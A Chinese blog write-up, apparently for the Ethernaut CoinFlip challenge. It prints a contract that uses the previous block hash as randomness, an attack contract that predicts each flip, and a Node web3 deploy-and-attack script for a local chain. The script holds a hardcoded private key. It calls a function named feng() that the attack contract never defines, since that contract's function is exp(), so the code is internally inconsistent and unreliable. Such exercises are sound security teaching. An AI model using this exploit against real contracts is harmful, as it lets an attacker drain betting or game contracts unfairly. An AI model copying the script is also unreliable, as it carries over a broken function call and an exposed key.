blockchain | Ethernaut 03 coin flip

发布时间 2023-08-31 22:27:08作者: Mz1

blockchain | Ethernaut 03 coin flip

投硬币合约,用区块哈希来当随机数。
合约代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

exp:

攻击合约:

pragma solidity ^0.8.0;

interface CoinFlip {
  function flip(bool _guess) external returns (bool) ;
}

contract Attack {
    CoinFlip constant private target = CoinFlip(0x26a3cFF310F14b0a67a03b95f371fdEbbd1317B7);  // 指定合约地址
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    function exp() public {
        uint256 blockValue = uint256(blockhash(block.number-1));
        uint256 coinFlip = blockValue/FACTOR;
        bool side = coinFlip == 1 ? true : false;
        target.flip(side);
    }
}

浏览器用不习惯,还是用node脚本来部署和攻击:

const Web3 = require('web3');
const fs = require('fs');

const rpcURL = 'http://127.0.0.1:8545';
//const addr = '0xda8e0A6Becd46E3C1d25BEbcc0E8f6723Cf2F924';
const web3 = new Web3.Web3(rpcURL);    // 链接网络节点

const privateKey = '0x957c03cef7400defc7585d5dd81c48455557aa29c12c627ad0fd17d73effe696';
web3.eth.accounts.wallet.add(privateKey);
const wallet = web3.eth.accounts.wallet[0];
console.log(wallet)
var money = 0;
web3.eth.getBalance(wallet.address).then((res)=>{console.log(res); money=res});


const run = async function(){
	let contract_json = JSON.parse(fs.readFileSync('contracts/Attack.json', 'utf8'))
	let jsonabi = contract_json.abi
	let bytecode= contract_json.bytecode
	let myContract = new web3.eth.Contract(jsonabi);
	var contract = await myContract.deploy({
			data: bytecode,
		}).send({
					from: wallet.address,
					gas: 1000000,
		            gasPrice: 10000000000,
		});
	console.log('合约部署完毕');
	let ret = await contract.methods.feng().send(
		{
				from: wallet.address,
				gas: 1000000,
	            gasPrice: 10000000000,
	        }
	)
	console.log(ret)
	for (let i = 0; i < 9; i ++){
		ret = await contract.methods.feng().send(
			{
					from: wallet.address,
					gas: 1000000,
		            gasPrice: 10000000000,
		        }
		)
		console.log(ret)
	}
}

run()